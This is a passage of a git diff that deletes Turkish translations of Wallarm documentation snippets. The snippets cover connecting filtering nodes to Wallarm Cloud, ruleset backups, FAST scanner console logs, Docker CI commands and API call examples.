kullandığınız Cloud’a bağlıdır. Lütfen buna uygun API’yi seçin: - - * kullanıyorsanız, düğümünüzün `https://api.wallarm.com:444` adresine erişmesi gerekir. - * kullanıyorsanız, düğümünüzün `https://us1.api.wallarm.com:444` adresine erişmesi gerekir. - - Erişimin bir güvenlik duvarı tarafından engellenmediğinden emin olun. - -Filtreleme düğümü Wallarm Cloud ile etkileşime girer. - -Düğümü Cloud’a, bulut hesabı bilgilerinizi kullanarak bağlamak için aşağıdaki adımları izleyin: - -1. Wallarm hesabınızda **Administrator** veya **Deploy** rolünün etkin olduğundan ve iki faktörlü kimlik doğrulamanın devre dışı olduğundan emin olun; böylece bir filtreleme düğümünü Cloud’a bağlayabilirsiniz. - - Bu parametreleri, Wallarm Console içindeki kullanıcı hesapları listesine giderek kontrol edebilirsiniz. - - * kullanıyorsanız, kullanıcı ayarlarınızı kontrol etmek için [aşağıdaki bağlantıya][link-wl-console-users-eu] gidin. - * kullanıyorsanız, kullanıcı ayarlarınızı kontrol etmek için [aşağıdaki bağlantıya][link-wl-console-users-us] gidin. - - ![Wallarm Console’da kullanıcı listesi][img-wl-console-users] - -2. Filtreleme düğümünü kurduğunuz makinede `addnode` betiğini çalıştırın: - - !!! info - Kullandığınız Cloud’a bağlı olarak çalıştırılacak betiği seçmeniz gerekir. - - * kullanıyorsanız, aşağıdaki **ABD Cloud** sekmesindeki betiği çalıştırın. - * kullanıyorsanız, aşağıdaki **AB Cloud** sekmesindeki betiği çalıştırın. - - === "ABD Cloud" - ``` bash - sudo /usr/share/wallarm-common/addnode -H us1.api.wallarm.com - ``` - === "AB Cloud" - ``` bash - sudo /usr/share/wallarm-common/addnode - ``` - - Oluşturulan düğümün adını belirtmek için `-n ` seçeneğini kullanın. Ayrıca, düğüm adı Wallarm Console → **Nodes** içinde değiştirilebilir. - -3. İstendiğinde Wallarm hesabınızın e-postasını ve parolasını girin. \ No newline at end of file diff --git a/include-tr/connect-cloud-node-cloud-en-2.16.md b/include-tr/connect-cloud-node-cloud-en-2.16.md deleted file mode 100644 index 866fdd97ed..0000000000 --- a/include-tr/connect-cloud-node-cloud-en-2.16.md +++ /dev/null @@ -1,94 +0,0 @@ -[img-wl-console-users]: ../images/check-users.png - -[link-wl-console-us]: https://us1.my.wallarm.com/ -[link-wl-console-eu]: https://my.wallarm.com/ -[link-wl-console-users-us]: https://us1.my.wallarm.com/settings/users -[link-wl-console-users-eu]: https://my.wallarm.com/settings/users - -[anchor-token]: #connecting-using-the-filtering-node-token -[anchor-credentials]: #connecting-using-your-email-and-password - -Filtreleme düğümü Wallarm Cloud ile etkileşime girer. Düğümü Cloud’a bağlamanın iki yolu vardır: -* [Filtreleme düğümü belirteci kullanma][anchor-token] -* [Wallarm hesabınıza ait e‑posta ve şifreyi kullanma][anchor-credentials] - -!!! info "Gerekli erişim hakları" - Wallarm hesabınızda **Administrator** veya **Deploy** rolünün etkin olduğundan ve iki faktörlü kimlik doğrulamanın devre dışı olduğundan emin olun; bu sayede bir filtreleme düğümünü Cloud’a bağlayabilirsiniz. - - Yukarıda bahsedilen parametreleri Wallarm Console içindeki kullanıcı hesap listesine giderek kontrol edebilirsiniz. - - * kullanıyorsanız, kullanıcı ayarlarınızı kontrol etmek için [aşağıdaki bağlantıya][link-wl-console-users-eu] gidin. - * kullanıyorsanız, kullanıcı ayarlarınızı kontrol etmek için [aşağıdaki bağlantıya][link-wl-console-users-us] gidin. - ![Wallarm Console'da kullanıcı listesi][img-wl-console-users] - -#### Filtreleme düğümü belirteci kullanarak bağlanma - -Düğümü belirteç kullanarak Cloud’a bağlamak için aşağıdaki adımları uygulayın: - -1. Wallarm Console’un **Nodes** bölümünde yeni bir düğüm oluşturun. - 1. **Create new node** düğmesine tıklayın. - 2. **Wallarm node** oluşturun. -2. Düğüm belirtecini kopyalayın. -3. Sanal makinede `addcloudnode` betiğini çalıştırın: - - !!! info - Hangi Cloud’u kullandığınıza bağlı olarak çalıştırılacak betiği seçmeniz gerekir. - - * kullanıyorsanız, aşağıdaki **ABD Cloud** sekmesindeki betiği çalıştırın. - * kullanıyorsanız, aşağıdaki **AB Cloud** sekmesindeki betiği çalıştırın. - - === "ABD Cloud" - ``` bash - sudo /usr/share/wallarm-common/addcloudnode -H us1.api.wallarm.com - ``` - === "AB Cloud" - ``` bash - sudo /usr/share/wallarm-common/addcloudnode - ``` - -4. Panonuzdan filtreleme düğümü belirtecini yapıştırın. - -Düğümünüz, varsayılan eşitleme yapılandırmasına göre artık her 2‑4 dakikada bir Cloud ile eşitlenecektir. - -!!! info "Filtreleme düğümü ve Cloud eşitleme yapılandırması" - `addcloudnode` betiğini çalıştırdıktan sonra, filtreleme düğümü ile Cloud eşitleme ayarlarını içeren `/etc/wallarm/syncnode` dosyası oluşturulacaktır. Filtreleme düğümü ve Cloud eşitleme ayarları `/etc/wallarm/syncnode` dosyası üzerinden değiştirilebilir. - - [Filtreleme düğümü ve Wallarm Cloud eşitleme yapılandırması hakkında daha fazla bilgi →](configure-cloud-node-synchronization-en.md#cloud-node-and-wallarm-cloud-synchronization) - -#### E‑posta adresiniz ve şifrenizi kullanarak bağlanma - -Düğümü Wallarm Cloud’a hesap bilgilerinizi kullanarak bağlamak için aşağıdaki adımları izleyin: - -1. Sanal makinede `addnode` betiğini çalıştırın: - - !!! info - Hangi Cloud’u kullandığınıza bağlı olarak çalıştırılacak betiği seçmeniz gerekir. - - * kullanıyorsanız, aşağıdaki **ABD Cloud** sekmesindeki betiği çalıştırın. - * kullanıyorsanız, aşağıdaki **AB Cloud** sekmesindeki betiği çalıştırın. - - === "ABD Cloud" - ```bash - sudo /usr/share/wallarm-common/addnode -H us1.api.wallarm.com - ``` - === "AB Cloud" - ```bash - sudo /usr/share/wallarm-common/addnode - ``` - -2. İstendiğinde Wallarm hesabınızın e‑posta adresini ve şifresini girin. - -!!! info "API erişimi" - Filtreleme düğümünüz için API seçimi, kullandığınız Cloud’a bağlıdır. Lütfen API’yi buna göre seçin: - - * kullanıyorsanız, düğümünüzün `https://api.wallarm.com:444` adresine erişmesi gerekir. - * kullanıyorsanız, düğümünüzün `https://us1.api.wallarm.com:444` adresine erişmesi gerekir. - - Erişimin bir güvenlik duvarı tarafından engellenmediğinden emin olun. - -Düğümünüz, varsayılan eşitleme yapılandırmasına göre artık her 2‑4 dakikada bir Cloud ile eşitlenecektir. - -!!! info "Filtreleme düğümü ve Cloud eşitleme yapılandırması" - `addnode` betiğini çalıştırdıktan sonra, filtreleme düğümü ile Cloud eşitleme ayarlarını ve doğru bir Wallarm düğümü çalışması için gereken diğer ayarları içeren `/etc/wallarm/node.yaml` dosyası oluşturulacaktır. Filtreleme düğümü ve Cloud eşitleme ayarları `/etc/wallarm/node.yaml` dosyası ve sistem ortam değişkenleri üzerinden değiştirilebilir. - - [Filtreleme düğümü ve Wallarm Cloud eşitleme yapılandırması hakkında daha fazla bilgi →](configure-cloud-node-synchronization-en.md#regular-node-and-wallarm-cloud-synchronization) \ No newline at end of file diff --git a/include-tr/custom-ruleset.md b/include-tr/custom-ruleset.md deleted file mode 100644 index 775f19f22a..0000000000 --- a/include-tr/custom-ruleset.md +++ /dev/null @@ -1,37 +0,0 @@ -### Özel kurallar kümesi oluşturma - -Wallarm Console → **Security Controls** → **Rules WAF** veya **Mitigation Controls** içinde yeni bir rule/mitigation control eklemek, mevcut olanları silmek veya değiştirmek, özel bir kurallar kümesi derlemesini başlatır. Oluşturma sürecinde, kurallar ve kontroller optimize edilir ve filtreleme düğümü için uyarlanmış bir biçime derlenir. Özel bir kurallar kümesi oluşturma süreci, az sayıda kural için birkaç saniyeden karmaşık kural ağaçları için bir saate kadar sürebilir. - -### Filtreleme düğümüne yükleme - -Özel kurallar kümesi derlemesi, filtreleme düğümü ile Wallarm Cloud arasındaki senkronizasyon sırasında filtreleme düğümüne yüklenir. Varsayılan olarak, filtreleme düğümü ile Wallarm Cloud senkronizasyonu her 2‑4 dakikada bir başlatılır. [Filtreleme düğümü ve Wallarm Cloud senkronizasyonunun yapılandırması hakkında daha fazla ayrıntı →][link-cloud-node-synchronization] - -Özel kurallar kümesinin filtreleme düğümüne yüklenme durumu `/opt/wallarm/var/log/wallarm/wcli-out.log` dosyasına kaydedilir. - -Aynı Wallarm hesabına bağlı tüm Wallarm düğümleri, trafik filtreleme için aynı varsayılan ve özel kural setini alır. Yine de uygun uygulama kimliklerini (application ID’ler) veya başlıklar, sorgu dizesi parametreleri vb. gibi benzersiz HTTP istek parametrelerini kullanarak farklı uygulamalar için farklı kurallar uygulayabilirsiniz. - -### Yedekleme ve geri yükleme - -Yanlış yapılandırılmış veya yanlışlıkla silinmiş kurallara karşı korunmak için, mevcut özel kurallar kümenizi yedekleyebilirsiniz. - -Aşağıdaki kural yedekleme seçenekleri vardır: - -* Her [özel kurallar kümesi derlemesinden](#custom-ruleset-building) sonra otomatik yedek oluşturma. Otomatik yedek sayısı 7 ile sınırlıdır: aynı gün içinde kuralları birkaç kez değiştirirseniz yalnızca son yedek tutulur. -* İstediğiniz zaman manuel yedek oluşturma. Manuel yedek sayısı varsayılan olarak 5 ile sınırlıdır. Daha fazlasına ihtiyacınız varsa, [Wallarm teknik destek](mailto:support@wallarm.com) ekibiyle iletişime geçin. - -Şunları yapabilirsiniz: - -* Mevcut yedeklere erişin: **Rules WAF** bölümünde **Backups**’a tıklayın. -* Yeni bir yedeği manuel olarak oluşturun: **Backups** penceresinde **Create backup**’a tıklayın. -* Manuel yedek için ad ve açıklama belirleyin ve bunları istediğiniz anda düzenleyin. - - !!! info "Otomatik yedekler için adlandırma" - Otomatik yedekler sistem tarafından adlandırılır ve yeniden adlandırılamaz. - -* Mevcut yedekten yükleyin: ilgili yedek için **Load**’a tıklayın. Yedekten yükleme sırasında mevcut kural yapılandırmanız silinir ve yedekteki yapılandırma ile değiştirilir. -* Yedeği silin. - - ![Rules - Yedek oluşturma][img-rules-create-backup] - -!!! warning "Kural değiştirme kısıtlamaları" - Yedek oluşturma veya yedekten yükleme tamamlanana kadar rules veya mitigation controls öğelerini oluşturamaz ya da değiştiremezsiniz. \ No newline at end of file diff --git a/include-tr/default-sbf.md b/include-tr/default-sbf.md deleted file mode 100644 index f05f4e5bb9..0000000000 --- a/include-tr/default-sbf.md +++ /dev/null @@ -1,6 +0,0 @@ -* **AI/LLM** (yapay zeka/büyük dil modelleri) akışları - ML modelleri, sinir ağları, sohbet botları kullanan veya OpenAI gibi ücretli üçüncü taraf AI servislerine erişen sistemlerle ilgili istekler/endpointler/parametreler. -* **Acc create** (hesap oluşturma) ve **Acc mgmt** (hesap yönetimi) akışları - uygulamalarınızla ilgili temel yönetimsel akışlar. -* **Admin** (yönetimsel) akışlar - uygulamaların yönetimsel işlevleri ve faaliyetleriyle ilgili istekler/endpointler/parametreler. Bu tür istekler/endpointler/parametreler genellikle saldırganlar tarafından, yalnızca ayrıcalıklı kullanıcılar için tasarlanmış işlevlere (BFLA) erişmek, ayrıcalıkları yükseltmek ve sistemin kontrolünü ele geçirmek amacıyla hedef alınır. -* **Auth** (kimlik doğrulama) akışları - kullanıcı kimliğini doğrulayıp izinleri yönettikleri için erişim kontrolü açısından kritik olan istekler/endpointler/parametreler. Uygulamaya giriş noktası olarak, güvenliği atlatmak, yetkisiz erişim elde etmek ve hesapları ele geçirmek isteyen saldırganların çoğunlukla ilk hedefidir. -* **Billing** akışları - kullanım ve kritik kişisel finansal verilerin olası ihlali nedeniyle hassastır ve dolandırıcılığa açıktır. -* **SMS GW** (SMS geçidi) akışları - saldırganların SMS pumping saldırılarında bunlardan yararlanarak maliyetleri şişirmek için mesajlarla doldurabildiği için hassas istekler/endpointler/parametreler. Bu istekler/endpointler/parametreler API gateway’leri ve ödeme sistemlerine bağlı olduğundan, finansal kayıplara ve sistemin aşırı yüklenmesine yol açabilir. \ No newline at end of file diff --git a/include-tr/deployment-forms.md b/include-tr/deployment-forms.md deleted file mode 100644 index 8fd70b312f..0000000000 --- a/include-tr/deployment-forms.md +++ /dev/null @@ -1,2 +0,0 @@ -* [Security Edge][link-deployment-se]: tamamen bulut tabanlı dağıtım. Hem Wallarm filtering node'ları hem de Wallarm Cloud bileşenleri Wallarm tarafından yönetilir. -* [Hibrit][link-deployment-hybrid]: Wallarm müşterileri Wallarm filtering node'ları dağıtır ve yönetir, Wallarm ise Wallarm Cloud bileşenini yönetir. \ No newline at end of file diff --git a/include-tr/elevated-priveleges.md b/include-tr/elevated-priveleges.md deleted file mode 100644 index ee25e6654f..0000000000 --- a/include-tr/elevated-priveleges.md +++ /dev/null @@ -1,3 +0,0 @@ -!!! warning "Önkoşullar" - * Aşağıda listelenen adımlara başlamadan önce, işletim sisteminde yüklüyse SELinux'u [devre dışı bırakın veya yapılandırın](../admin-en/configure-selinux.md). - * Aşağıdaki tüm komutları süper kullanıcı (ör. `root`) olarak çalıştırdığınızdan emin olun. \ No newline at end of file diff --git a/include-tr/fast/cloud-note-readme.md b/include-tr/fast/cloud-note-readme.md deleted file mode 100644 index d012c2e78a..0000000000 --- a/include-tr/fast/cloud-note-readme.md +++ /dev/null @@ -1,6 +0,0 @@ -!!! warning "Wallarm Cloud'ları hakkında bir not" - FAST, mevcut Wallarm Cloud'larından biriyle etkileşime girer. - - Belgelerdeki tüm bilgiler, aksi belirtilmedikçe tüm Wallarm Cloud'ları için eşit derecede geçerlidir. - - Basitlik adına, belgeler boyunca FAST'in Amerikan Wallarm Cloud'u ile etkileştiği varsayılır. Başka bir Wallarm Cloud'u ile etkileşmeniz gerekiyorsa, [Wallarm portal ve API server'a ait ilgili adresleri](cloud-list.md) kullanın. \ No newline at end of file diff --git a/include-tr/fast/cloud-note.md b/include-tr/fast/cloud-note.md deleted file mode 100644 index df93c51a7e..0000000000 --- a/include-tr/fast/cloud-note.md +++ /dev/null @@ -1,6 +0,0 @@ -!!! warning "Wallarm cloud'ları hakkında bir not" - FAST, mevcut Wallarm cloud'larından biriyle etkileşime girer. - - Aksi belirtilmedikçe, dokümantasyondaki tüm bilgiler tüm Wallarm cloud'larına eşit şekilde uygulanabilir. - - Basitlik adına, dokümantasyon boyunca FAST'in Amerikan Wallarm cloud'u ile etkileşime girdiği varsayılır. Başka bir cloud ile etkileşime girmeniz gerekiyorsa, [Wallarm portalı ve API sunucusunun ilgili adreslerini](../cloud-list.md) kullanın. \ No newline at end of file diff --git a/include-tr/fast/console-include/dsl/fast-node-recording.md b/include-tr/fast/console-include/dsl/fast-node-recording.md deleted file mode 100644 index 245e91a9db..0000000000 --- a/include-tr/fast/console-include/dsl/fast-node-recording.md +++ /dev/null @@ -1,5 +0,0 @@ -[info] Düğüm Wallarm Cloud'a bağlandı -[info] hızlı tarayıcı için 2 özel uzantı yüklendi -[info] hızlı tarayıcı için 30 varsayılan uzantı yüklendi -[info] TestRun'un kontrolü bekleniyor... -[info] TestRun#N 'DEMO TEST RUN' için referans değerler kaydediliyor \ No newline at end of file diff --git a/include-tr/fast/console-include/dsl/fast-node-run-fail.md b/include-tr/fast/console-include/dsl/fast-node-run-fail.md deleted file mode 100644 index 69472b9c64..0000000000 --- a/include-tr/fast/console-include/dsl/fast-node-run-fail.md +++ /dev/null @@ -1,5 +0,0 @@ -``` -[info] Düğüm Wallarm Cloud'a bağlandı -[error] Geçersiz özel uzantı 'my-extension.yaml': (): satır 2, sütun 3'te bir blok eşlemesi ayrıştırılırken beklenen anahtar bulunamadı -[info] Hızlı tarayıcı için 0 özel uzantı yüklendi -``` \ No newline at end of file diff --git a/include-tr/fast/console-include/dsl/fast-node-run-ok.md b/include-tr/fast/console-include/dsl/fast-node-run-ok.md deleted file mode 100644 index e9aeac3510..0000000000 --- a/include-tr/fast/console-include/dsl/fast-node-run-ok.md +++ /dev/null @@ -1,4 +0,0 @@ -[info] Düğüm Wallarm Cloud'a bağlandı -[info] fast scanner için 1 özel eklenti yüklendi -[info] fast scanner için 30 varsayılan eklenti yüklendi -[info] Kontrol için TestRun bekleniyor... \ No newline at end of file diff --git a/include-tr/fast/console-include/dsl/fast-node-working.md b/include-tr/fast/console-include/dsl/fast-node-working.md deleted file mode 100644 index b472942e27..0000000000 --- a/include-tr/fast/console-include/dsl/fast-node-working.md +++ /dev/null @@ -1,17 +0,0 @@ -[info] TestRun'ın kontrol edilmesi bekleniyor... -[info] TestRun#N 'DEMO TEST RUN' için baseline'lar kaydediliyor -[info] Yeni TestRun#N 'DEMO TEST RUN' başlatıldı -[info] Proxy isteği POST http://ojs.example.local/rest/user/login -[info] baseline #X için bir test seti çalıştırılıyor -... -[info] 'POST_value' parametresi için varsayılan eklenti 'rce-dotnet-jackson' testleri çalıştırılıyor -... -[info] 'POST_JSON_DOC_HASH_email_value' parametresi için varsayılan eklenti 'spel-oob' testleri çalıştırılıyor -[info] 'POST_JSON_DOC_HASH_email_value' parametresi için özel eklenti 'mod-extension' testleri çalıştırılıyor -[info] ojs.example.local ana makinesinde SQLI zafiyeti bulundu ... -... -[info] 'URI_value' parametresi için varsayılan eklenti 'spel-oob' testleri çalıştırılıyor -'URI_value' parametresi için özel eklenti 'non-mod-extension' testleri çalıştırılıyor -[info] ojs.example.local ana makinesinde SQLI zafiyeti bulundu ... -... -[info] 2 zafiyet bulundu, baseline #X için test seti başarısız olarak işaretleniyor \ No newline at end of file diff --git a/include-tr/fast/console-include/operations/node-in-ci-mode-report.md b/include-tr/fast/console-include/operations/node-in-ci-mode-report.md deleted file mode 100644 index 0d3fe48591..0000000000 --- a/include-tr/fast/console-include/operations/node-in-ci-mode-report.md +++ /dev/null @@ -1,20 +0,0 @@ -Yeni örnek kaydedildi 16dd487f-3d40-4834-xxxx-8ff17842d60b - -================================================================================ -=============================== TEST ÇALIŞTIRMA SONUÇLARI =============================== -================================================================================ -Örnek Test Çalıştırması (5080) sonucu - başarısız -+------------------------------------------------------------------------------+ -| TEMEL KONTROLLER | -|------------------------------------------------------------------------------| -|BAŞARILI|0 | -|------------------------------------------------------------------------------| -|BAŞARISIZ|2 | -|------------------------------------------------------------------------------| -|DURDURULDU|0 | -+------------------------------------------------------------------------------+ - -4 ZAFİYET BULUNDU: -+------------------------------------------------------------------------------+ -|TEHDİT |ORTA | -... \ No newline at end of file diff --git a/include-tr/fast/console-include/poc/node-in-ci-mode-recording.md b/include-tr/fast/console-include/poc/node-in-ci-mode-recording.md deleted file mode 100644 index 322b766b74..0000000000 --- a/include-tr/fast/console-include/poc/node-in-ci-mode-recording.md +++ /dev/null @@ -1,14 +0,0 @@ - __ __ _ _ - \ \ / /_ _| | |__ _ _ _ _ __ - \ \/\/ / _` | | / _` | '_| ' \ - \_/\_/\__,_|_|_\__,_|_| |_|_|_| - ___ _ ___ _____ - | __/_\ / __|_ _| - | _/ _ \\__ \ | | - |_/_/ \_\___/ |_| - - Yükleniyor... - [info] Düğüm Wallarm Cloud'a bağlandı - [info] Hızlı tarayıcı için 0 özel uzantı yüklendi - [info] Hızlı tarayıcı için 44 varsayılan uzantı yüklendi - [info] TestRecord#rec_0001 TestRecord Oct 01 01:01 UTC kayıt almaya başlıyor \ No newline at end of file diff --git a/include-tr/fast/console-include/poc/node-in-ci-mode-testing.md b/include-tr/fast/console-include/poc/node-in-ci-mode-testing.md deleted file mode 100644 index 49de8211e5..0000000000 --- a/include-tr/fast/console-include/poc/node-in-ci-mode-testing.md +++ /dev/null @@ -1,15 +0,0 @@ - __ __ _ _ - \ \ / /_ _| | |__ _ _ _ _ __ - \ \/\/ / _` | | / _` | '_| ' \ - \_/\_/\__,_|_|_\__,_|_| |_|_|_| - ___ _ ___ _____ - | __/_\ / __|_ _| - | _/ _ \\__ \ | | - |_/_/ \_\___/ |_| - -Yükleniyor... -INFO synccloud[13]: Yeni örnek kaydedildi 16dd487f-3d40-4834-xxxx-8ff17842d60b -INFO [1]: Hızlı tarayıcı için 0 özel uzantı yüklendi -INFO [1]: Hızlı tarayıcı için 44 varsayılan uzantı yüklendi -INFO [1]: TestRun oluşturmak için TestRecord#rec_0001 kullanın -INFO [1]: TestRun#tr_1234 oluşturuldu \ No newline at end of file diff --git a/include-tr/fast/console-include/qsg/fast-node-deployment-ok.md b/include-tr/fast/console-include/qsg/fast-node-deployment-ok.md deleted file mode 100644 index 1d74071de6..0000000000 --- a/include-tr/fast/console-include/qsg/fast-node-deployment-ok.md +++ /dev/null @@ -1,15 +0,0 @@ -``` - __ __ _ _ - \ \ / /_ _| | |__ _ _ _ _ __ - \ \/\/ / _` | | / _` | '_| ' \ - \_/\_/\__,_|_|_\__,_|_| |_|_|_| - ___ _ ___ _____ - | __/_\ / __|_ _| - | _/ _ \\__ \ | | - |_/_/ \_\___/ |_| - -[info] Düğüm Wallarm Cloud'a bağlandı -[info] Hızlı tarayıcı için 0 özel eklenti yüklendi -[info] Hızlı tarayıcı için 51 varsayılan eklenti yüklendi -[info] Kontrol için TestRun bekleniyor... -``` \ No newline at end of file diff --git a/include-tr/fast/console-include/qsg/fast-node-ready-for-recording.md b/include-tr/fast/console-include/qsg/fast-node-ready-for-recording.md deleted file mode 100644 index 2d3e89cc65..0000000000 --- a/include-tr/fast/console-include/qsg/fast-node-ready-for-recording.md +++ /dev/null @@ -1,5 +0,0 @@ -[info] Düğüm Wallarm Cloud'a bağlandı -[info] Hızlı tarayıcı için 0 özel uzantı yüklendi -[info] Hızlı tarayıcı için 51 varsayılan uzantı yüklendi -[info] Kontrol için TestRun bekleniyor... -[info] TestRun#N 'DEMO TEST RUN' için baz değerler kaydediliyor \ No newline at end of file diff --git a/include-tr/fast/console-include/qsg/fast-node-testing.md b/include-tr/fast/console-include/qsg/fast-node-testing.md deleted file mode 100644 index 165bfe56d2..0000000000 --- a/include-tr/fast/console-include/qsg/fast-node-testing.md +++ /dev/null @@ -1,7 +0,0 @@ -[info] Düğüm Wallarm Cloud'a bağlandı -[info] Hızlı tarayıcı için 0 özel uzantı yüklendi -[info] Hızlı tarayıcı için 51 varsayılan uzantı yüklendi -[info] TestRun'ın kontrol edilmesi bekleniyor... -[info] TestRun#N 'DEMO TEST RUN' için baz değerler kaydediliyor -[info] Proxy isteği GET https://google-gruyere.appspot.com/430232491618310677730226710602783767322/snippets.gtl?password=paSSw0rd&uid=123 -[info] Baz değer #X için bir test kümesi çalıştırılıyor \ No newline at end of file diff --git a/include-tr/fast/console-include/tshoot/access-denied.md b/include-tr/fast/console-include/tshoot/access-denied.md deleted file mode 100644 index e514bc4540..0000000000 --- a/include-tr/fast/console-include/tshoot/access-denied.md +++ /dev/null @@ -1,4 +0,0 @@ - ``` - Yükleniyor... - [hata] Yeni örnek oluşturulamıyor - erişim reddedildi - ``` \ No newline at end of file diff --git a/include-tr/fast/console-include/tshoot/request-timeout.md b/include-tr/fast/console-include/tshoot/request-timeout.md deleted file mode 100644 index 86507cca61..0000000000 --- a/include-tr/fast/console-include/tshoot/request-timeout.md +++ /dev/null @@ -1,2 +0,0 @@ - Loading... - [error] Can't create new instance - Request Timeout \ No newline at end of file diff --git a/include-tr/fast/fast-cimode-integration-examples/configured-workflow.md b/include-tr/fast/fast-cimode-integration-examples/configured-workflow.md deleted file mode 100644 index 3be2f6fa56..0000000000 --- a/include-tr/fast/fast-cimode-integration-examples/configured-workflow.md +++ /dev/null @@ -1,5 +0,0 @@ -!!! info "Yapılandırılmış iş akışı" - İzleyen talimatlar, aşağıdaki maddelerden birine karşılık gelen önceden yapılandırılmış bir iş akışı gerektirir: - - * Test otomasyonu uygulanmıştır. Bu durumda, [istek kaydı](#adding-the-step-of-request-recording) ve [güvenlik testi](#adding-the-step-of-security-testing) adımları eklenecektir. - * Temel istekler kümesi zaten kaydedilmiştir. Bu durumda, [güvenlik testi](#adding-the-step-of-security-testing) adımı eklenecektir. \ No newline at end of file diff --git a/include-tr/fast/fast-cimode-integration-examples/request-recording-setup.md b/include-tr/fast/fast-cimode-integration-examples/request-recording-setup.md deleted file mode 100644 index e98d6d2797..0000000000 --- a/include-tr/fast/fast-cimode-integration-examples/request-recording-setup.md +++ /dev/null @@ -1,15 +0,0 @@ -İstek kaydını uygulamak için, otomatik uygulama testinin adımına aşağıdaki ayarları uygulayın: - -1. Otomatik testleri çalıştıran komuttan __önce__, `CI_MODE=recording` modunda ve gerekli diğer [değişkenlerle](../ci-mode-recording.md#environment-variables-in-recording-mode) FAST Docker konteynerini çalıştıran komutu ekleyin. Örneğin: - - ``` - docker run --name fast -d -e WALLARM_API_TOKEN=$WALLARM_API_TOKEN -e CI_MODE=recording -e WALLARM_API_HOST=us1.api.wallarm.com -e ALLOWED_HOSTS=app-test -p 8080:8080 --network my-network --rm wallarm/fast - ``` -2. Otomatik testlerin FAST node üzerinden proxy’lenmesini yapılandırın. Örneğin: - - ``` - docker run --rm -d --name selenium -e http_proxy='http://fast:8080' --network my-network selenium/standalone-firefox:latest - ``` - -!!! warning "Docker Ağı" - İstekleri kaydetmeden önce, FAST node ve otomatik test aracının aynı ağda çalıştığından emin olun. \ No newline at end of file diff --git a/include-tr/fast/fast-cimode-integration-examples/security-testing-setup.md b/include-tr/fast/fast-cimode-integration-examples/security-testing-setup.md deleted file mode 100644 index 5b1ea2dd59..0000000000 --- a/include-tr/fast/fast-cimode-integration-examples/security-testing-setup.md +++ /dev/null @@ -1,16 +0,0 @@ -Güvenlik testini uygulamak için, aşağıdaki talimatları izleyerek iş akışınıza ilgili ayrı bir adım ekleyin: - -1. Test uygulaması çalışmıyorsa, uygulamayı başlatma komutunu ekleyin. -2. Uygulamayı çalıştıran komuttan __sonra__, `CI_MODE=testing` modunda ve gerekli diğer [değişkenlerle](../ci-mode-testing.md#environment-variables-in-testing-mode) FAST Docker konteynerini çalıştıran komutu ekleyin. - - !!! info "Kayıtlı temel istekler kümesinin kullanılması" - Temel istekler kümesi başka bir pipeline'da kaydedildiyse, kayıt kimliğini [TEST_RECORD_ID][fast-ci-mode-test] değişkeninde belirtin. Aksi takdirde, son kaydedilen küme kullanılacaktır. - - Komut örneği: - - ``` - docker run --name fast -e WALLARM_API_TOKEN=$WALLARM_API_TOKEN -e CI_MODE=testing -e WALLARM_API_HOST=us1.api.wallarm.com -p 8080:8080 -e TEST_RUN_URI=http://app-test:3000 --network my-network --rm wallarm/fast - ``` - -!!! warning "Docker ağı" - Güvenlik testinden önce, FAST node ile test uygulamasının aynı ağda çalıştığından emin olun. \ No newline at end of file diff --git a/include-tr/fast/operations/api-check-testrun-status.md b/include-tr/fast/operations/api-check-testrun-status.md deleted file mode 100644 index 2c0cfed995..0000000000 --- a/include-tr/fast/operations/api-check-testrun-status.md +++ /dev/null @@ -1,55 +0,0 @@ -| API çağrısı: | `GET /v1/test_run/test_run_id` | | -| ------------- | ------------------------------------------ | ---- | -| Yetkilendirme: | Gerekli | Token ile | -| Token içeren HTTP başlığı: | `X-WallarmAPI-Token` | Token değerini API sunucusuna iletmek için kullanılır | -| Parametreler: | `test_run_id` **(zorunlu)** | Durumu alınacak test çalıştırmasının tanımlayıcısı | - - -**İstek örneği:** -``` -curl --request GET \ - --url https://us1.api.wallarm.com/v1/test_run/tr_1234 \ - --header 'Host: us1.api.wallarm.com' \ - --header 'X-WallarmAPI-Token: token_Qwe12345' -``` - -**Yanıt örneği:** -``` -{ - "status": 200, - "body": { - "id": tr_1234, - "name": "demo-testrun", - "vulns": [ - { - "id": vuln_0001, - "threat": 80, - "code": "S0001", - "type": "sqli" - } - ], - "clientid": demo_0000, - "state": "failed", - "simple_state": "failed", - "allowed_actions": [], - "baseline_check_all_terminated_count": 1, - "baseline_check_fail_count": 1, - "baseline_check_tech_fail_count": 0, - "baseline_check_passed_count": 0, - "baseline_check_running_count": 0, - "baseline_check_interrupted_count": 0, - "sended_requests_count": 70, - ... - "start_time": 1555572038, - "end_time": 1555572309, - ... - "domains": [ - "app.example.local" - ], - "baseline_count": 1, - ... - "baseline_check_waiting_count": 0, - "planing_requests_count": 70 - } -} -``` \ No newline at end of file diff --git a/include-tr/fast/operations/api-copy-testrun.md b/include-tr/fast/operations/api-copy-testrun.md deleted file mode 100644 index 6181e8e449..0000000000 --- a/include-tr/fast/operations/api-copy-testrun.md +++ /dev/null @@ -1,62 +0,0 @@ -[doc-inactivity-timeout]: internals.md#test-run - -| API çağrısı: | `POST /v1/test_run` | | -| ------------ | ------------------- | ---- | -| Yetkilendirme: | Gerekli | Yetkilendirme token ile sağlanır | -| Token içeren HTTP başlığı: | `X-WallarmAPI-Token` | Token değerini API sunucusuna iletmek için kullanılır | -| Parametreler: | `name` **(zorunlu)** | Test çalıştırmasının adı | -| | `test_record_id` **(zorunlu)** | Mevcut bir test kaydının tanımlayıcısı | -| | `desc` | Test çalıştırmasının ayrıntılı açıklaması.
              Varsayılan değer: boş dize | -| | `file_extensions_to_exclude` | Bu parametre, test sırasında değerlendirme sürecinden hariç tutulması gereken belirli dosya türlerini belirtmenize olanak tanır. Bu dosya türleri, düzenli ifade ile belirtilir.
              Örneğin, hariç tutulacak dosya uzantısı olarak `ico` ayarlanırsa, `GET /favicon.ico` temel isteği FAST tarafından kontrol edilmez ve atlanır.
              Düzenli ifadenin formatı aşağıdaki gibidir:
              - `.`: herhangi bir karakterin herhangi bir sayıda (sıfır veya daha fazla)
              - `x*`: `x` karakterinin herhangi bir sayıda (sıfır veya daha fazla)
              - `x?`: tek bir `x` karakteri (ya da hiçbiri)
              - herhangi tek bir dosya uzantısı (örn., `jpg`)
              - dikey çizgi ile ayrılmış birden çok uzantı (örn., `jpg` | `png`)
              Varsayılan değer: boş dize (FAST, herhangi bir dosya uzantısına sahip temel istekleri kontrol eder). | -| | `policy_id` | Test politikasının tanımlayıcısı.
              Bu parametre yoksa varsayılan politika devreye girer | -| | `stop_on_first_fail` | Bu parametre, bir güvenlik açığı tespit edildiğinde FAST'in davranışını belirtir:
